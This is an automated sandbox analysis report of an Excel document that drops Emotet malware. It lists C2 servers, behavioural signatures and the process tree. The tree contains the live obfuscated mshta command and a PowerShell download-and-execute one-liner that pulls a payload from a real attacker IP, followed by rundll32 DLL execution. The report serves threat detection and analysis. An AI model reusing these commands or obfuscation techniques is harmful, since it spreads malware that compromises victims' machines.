Analysis

  • max time kernel
    130s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    20/01/2022, 22:30

General

  • Target
    4ebe46b6d33d9b93111448da218650d4.xls
  • Size 70KB
  • Sample220120-2etm9scadm
  • SHA256 48fee052f0fa5361ddc892d4768321a00e5c80adabc60654488ea8fc1ffa135f
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://0xb907d607/fer/fe2.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://185.7.214.7/fer/fe2.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 131.100.24.231:80

  • 209.59.138.75:7080

  • 103.8.26.103:8080

  • 51.38.71.0:443

  • 212.237.17.99:8080

  • 79.172.212.216:8080

  • 207.38.84.195:8080

  • 104.168.155.129:8080

  • 178.79.147.66:8080

  • 46.55.222.11:443

  • 103.8.26.102:8080

  • 192.254.71.210:443

  • 45.176.232.124:443

  • 203.114.109.124:443

  • 51.68.175.8:8080

  • 58.227.42.236:80

  • 45.142.114.231:8080

  • 217.182.143.207:443

  • 178.63.25.185:443

  • 45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Sets service image path in registry 2 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Modifies data under HKEY_USERS 41 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4ebe46b6d33d9b93111448da218650d4.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3332
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1512
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
        • Blocklisted process makes network request
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:1352
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3412
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2956
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1876
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:2176
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Usxubosohdi\egei.lir",AGupeCoEqxoTMDN
                  8⤵
                  • Loads dropped DLL
                  • Suspicious use of WriteProcessMemory
                  PID:1168
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Usxubosohdi\egei.lir",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Loads dropped DLL
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2712
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 1352 -s 1720
          4⤵
          • Program crash
          • Checks processor information in registry
          • Enumerates system info in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:2956
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
    1⤵
      PID:4028
    • C:\Windows\System32\WaaSMedicAgent.exe
      C:\Windows\System32\WaaSMedicAgent.exe a55b62b2f1ec25dff704f46910269d32 1OLgPN8KXEeFI7dsC0Hckw.0.1.0.0.0
      1⤵
      • Modifies data under HKEY_USERS
      PID:3156
    • C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -pss -s 432 -p 1352 -ip 1352
      1⤵
      • Suspicious use of NtCreateProcessExOtherParentProcess
      • Suspicious use of WriteProcessMemory
      PID:2472

    Network

          MITRE ATT&CK Enterprise v6

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          Downloads

          memory/1168-198-0x0000000004540000-0x0000000004566000-memory.dmp

          memory/1876-181-0x0000000004D00000-0x0000000004D26000-memory.dmp

          memory/2176-193-0x0000000004ED0000-0x0000000004EF6000-memory.dmp

          memory/2176-189-0x0000000004D90000-0x0000000004DB6000-memory.dmp

          memory/2176-187-0x0000000004CB0000-0x0000000004CD6000-memory.dmp

          memory/2176-184-0x00000000045A0000-0x00000000045C6000-memory.dmp

          memory/2176-191-0x0000000004E70000-0x0000000004E96000-memory.dmp

          memory/2176-195-0x0000000004F30000-0x0000000004F56000-memory.dmp

          memory/2176-200-0x00000000050C0000-0x00000000050E6000-memory.dmp

          memory/2712-207-0x0000000004DE0000-0x0000000004E06000-memory.dmp

          memory/2712-209-0x0000000004E40000-0x0000000004E66000-memory.dmp

          memory/2712-217-0x0000000005250000-0x0000000005276000-memory.dmp

          memory/2712-215-0x0000000005170000-0x0000000005196000-memory.dmp

          memory/2712-213-0x0000000005040000-0x0000000005066000-memory.dmp

          memory/3332-132-0x00007FFFBC610000-0x00007FFFBC620000-memory.dmp

          memory/3332-239-0x00007FFFBC610000-0x00007FFFBC620000-memory.dmp

          memory/3332-138-0x00007FFFB9E10000-0x00007FFFB9E20000-memory.dmp

          memory/3332-137-0x00007FFFB9E10000-0x00007FFFB9E20000-memory.dmp

          memory/3332-134-0x00007FFFBC610000-0x00007FFFBC620000-memory.dmp

          memory/3332-133-0x00007FFFBC610000-0x00007FFFBC620000-memory.dmp

          memory/3332-242-0x00007FFFBC610000-0x00007FFFBC620000-memory.dmp

          memory/3332-131-0x00007FFFBC610000-0x00007FFFBC620000-memory.dmp

          memory/3332-130-0x00007FFFBC610000-0x00007FFFBC620000-memory.dmp

          memory/3332-241-0x00007FFFBC610000-0x00007FFFBC620000-memory.dmp

          memory/3332-240-0x00007FFFBC610000-0x00007FFFBC620000-memory.dmp

          memory/3412-186-0x0000027E75330000-0x0000027E753A6000-memory.dmp

          memory/3412-177-0x0000027E5CCA0000-0x0000027E74E00000-memory.dmp

          memory/3412-172-0x0000027E5C780000-0x0000027E5C7A2000-memory.dmp

          memory/3412-175-0x0000027E5CCA0000-0x0000027E74E00000-memory.dmp

          memory/3412-173-0x0000027E5CCA0000-0x0000027E74E00000-memory.dmp

          memory/3412-178-0x0000027E752E0000-0x0000027E75324000-memory.dmp